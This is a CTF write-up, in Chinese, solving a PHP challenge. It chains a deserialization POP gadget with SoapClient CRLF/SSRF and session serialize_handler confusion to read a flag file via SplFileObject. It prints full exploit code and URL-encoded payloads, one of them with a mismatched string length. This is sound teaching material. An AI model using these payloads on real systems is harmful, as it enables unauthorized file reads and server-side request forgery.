这个题没打出来有点可惜,感觉做的都差不多了,不过有些地方确实没理解,还是理解不到位
先来看序列化,这个序列化是不难的,不过有一个小坑,我们先理一遍顺序
- array(0) { }
- //something in flag.php
-
- class A
- {
- public $a;
- public $b;
-
- public function __wakeup()
- {
- $this->a = "babyhacker";
- }
-
- public function __invoke()
- {
- if (isset($this->a) && $this->a == md5($this->a)) {
- $this->b->uwant();
- }
- }
- }
-
- class B
- {
- public $a;
- public $b;
- public $k;
-
- function __destruct()
- {
- $this->b = $this->k;
- die($this->a);
- }
- }
-
- class C
- {
- public $a;
- public $c;
-
- public function __toString()
- {
- $cc = $this->c;
- return $cc();
- }
- public function uwant()
- {
- if ($this->a == "phpinfo") {
- phpinfo();
- } else {
- call_user_func(array(reset($_SESSION), $this->a));
- }
- }
- }
-
-
- if (isset($_GET['d0g3'])) {
- ini_set($_GET['baby'], $_GET['d0g3']);
- session_start();
- $_SESSION['sess'] = $_POST['sess'];
- }
- else{
- session_start();
- if (isset($_POST["pop"])) {
- unserialize($_POST["pop"]);
- }
- }
- var_dump($_SESSION);
- highlight_file(__FILE__);
flag.php
- session_start();
- highlight_file(__FILE__);
- //flag在根目录下
- if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
- $f1ag=implode(array(new $_GET['a']($_GET['b'])));
- $_SESSION["F1AG"]= $f1ag;
- }else{
- echo "only localhost!!";
- }
- only localhost!!
这里最后肯定要调用C类的uwant函数,可以由A类的__invoke()方法触发,
A类的__invoke()方法由C类的__toString()方法触发,这里有一个小坑,我当时一直以为这个tostring是A类的 $this->a = "babyhacker";触发的,结果一直没跑通,后来看没用到B类,尝试用B的die($this->a);,没想到是可以的
那这样链子就出来了
- highlight_file(__FILE__);
- error_reporting(0);
- class A
- {
- public $a;
- public $b;
-
- public function __construct($a,$b)
- {
- $this->a=$a;
- $this->b=$b;
- }
-
- public function __wakeup()
- {
- $this->a = "babyhacker";
- echo '触发了A类的 __wakeup';
- }
-
- public function __invoke()
- {echo '触发了A类的 __invoke';
- if (isset($this->a) && $this->a == md5($this->a)) {
- $this->b->uwant();
- }
- }
- }
-
- class B
- {
- public $a;
- public $b;
- public $k;
- public function __construct($a,$b,$k)
- {
- $this->a=$a;
- $this->b=$b;
- $this->k=$k;
- }
-
- function __destruct()
- {
- $this->b = $this->k;
- die($this->a);
- }
- }
-
- class C
- {
- public $a;
- public $c;
-
- public function __construct($a,$c)
- {
- $this->a=$a;
- $this->c=$c;
- }
-
- public function __toString()
- {
- echo '触发了C类的 __toString';
- $cc = $this->c;
- return $cc();
-
- }
- public function uwant()
- {
- if ($this->a == "phpinfo") {
- phpinfo();
- } else {
- call_user_func(array(reset($_SESSION), $this->a));
- }
- }
- }
-
- $a=new B(new C('',new A('0e215962017',new C('phpinfo',''))),'','');
- echo (serialize($a));
Payload
这里记得绕过wakup
pop=O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A1%3A%22c%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22k%22%3Bs%3A0%3A%22%22%3B%7D

接下来就是想 call_user_func(array(reset($_SESSION), $this->a));的利用了
call_user_func函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法
reset的话会把指针指向$_SESSION数组的第一个键值对
感觉这里是不是在考php原生类读文件呢?
https://blog.csdn.net/weixin_44033675/article/details/116903866
还是先叙述一下这个攻击手法:
SoapClient是php的一个内置类,它本身是存在CRLF和SSRF漏洞的,怎么说呢?这个类可以控制发送请求包,并且headers可控,不仅可控,还可以传入回车+换行(\r\n),那么被回车下去的请求头不就成了post数据。所以我们可以任意构造请求包,另外,当这个类被调用它没有的方法,会触发它的call,引发SSRF漏洞
- $target = 'http://127.0.0.1:5555/path';
- $post_string = 'data=something';
- $headers = array(
- 'X-Forwarded-For: 127.0.0.1',
- 'Cookie: PHPSESSID=my_session'
- );
- $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
-
- $aaa = serialize($b);
- $aaa = str_replace('^^',"\r\n",$aaa);
- $aaa = str_replace('&','&',$aaa);
- echo $aaa;
-
- $c = unserialize($aaa);
- $c->not_exists_function();
- ?>
session反序列化漏洞:
- session_start();
- $_SESSION['name'] = '1234567';
- ?>
session是会被反序列化存储到本地的

session.serialize_handler这个参数控制session反序列化的处理器,不同的处理器序列化的结果不一样
当 session.serialize_handler=php 时,session文件内容为: name|s:7:"1234567";
当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"1234567";}
当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"1234567";
而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞
php引擎会以|作为作为key和value的分隔符,我们在传入内容的时候,比如传入
$_SESSION[‘name’] = ‘|username‘
那么使用php_serialize引擎时可以得到序列化内容
a:1:{s:4:”name”;s:4:”|username”;}
然后用php引擎反序列化时,|被当做分隔符,于是
a:1:{s:4:”name”;s:4:”
被当作key
username被当做vaule进行反序列化
于是,我们只要传入$_SESSION[‘name’] = |序列化内容
即可触发漏洞
SoapClient序列化构造:
- $a = new SoapClient(null,
- array(
- 'user_agent' => "aaa\r\nCookie:PHPSESSID=u6ljl69tjrbutbq4i0oeb0m332",
- 'uri' => 'bbb',
- // 'location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/*f*' //首先用GlobIterator找flag的名字
- 'location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=file:///f1111llllllaagg'
-
- )
- );
- $b = serialize($a);
- echo urlencode($b);
- ?>
首先通过ini_set更改session的处理器,传入构造的session序列化字符串
- if (isset($_GET['d0g3'])) {
- ini_set($_GET['baby'], $_GET['d0g3']);
- session_start();
- $_SESSION['sess'] = $_POST['sess'];
- }
- else{
- session_start();
- if (isset($_POST["pop"])) {
- unserialize($_POST["pop"]);
- }
- }
Payload
GET: ?baby=session.serialize_handler&d0g3=php_serialize POST: sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A47%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DGlobIterator%26b%3D%2F%2Af%2A%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Disub76msd2qttd2jh39vhvepak%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A67%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Disub76msd2qttd2jh39vhvepak%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
第二次,需要将sess设置为SoapClient这个类,方便第三次利用反序列化pop链中call_user_func激活soap类
Payload
GET ?D0G3 POST sess=SoapClient
第三次,直接用call_user_func激活soap类,通过flag.php将flag写入session
Payload
pop=O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A7%3A%22aaa%22%3Bs%3A1%3A%22c%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22k%22%3Bs%3A0%3A%22%22%3B%7D
实际上那个第二步可能是不需要的,soap类的序列化字符串已经存入session了,直接传入pop激活soap也是可以的
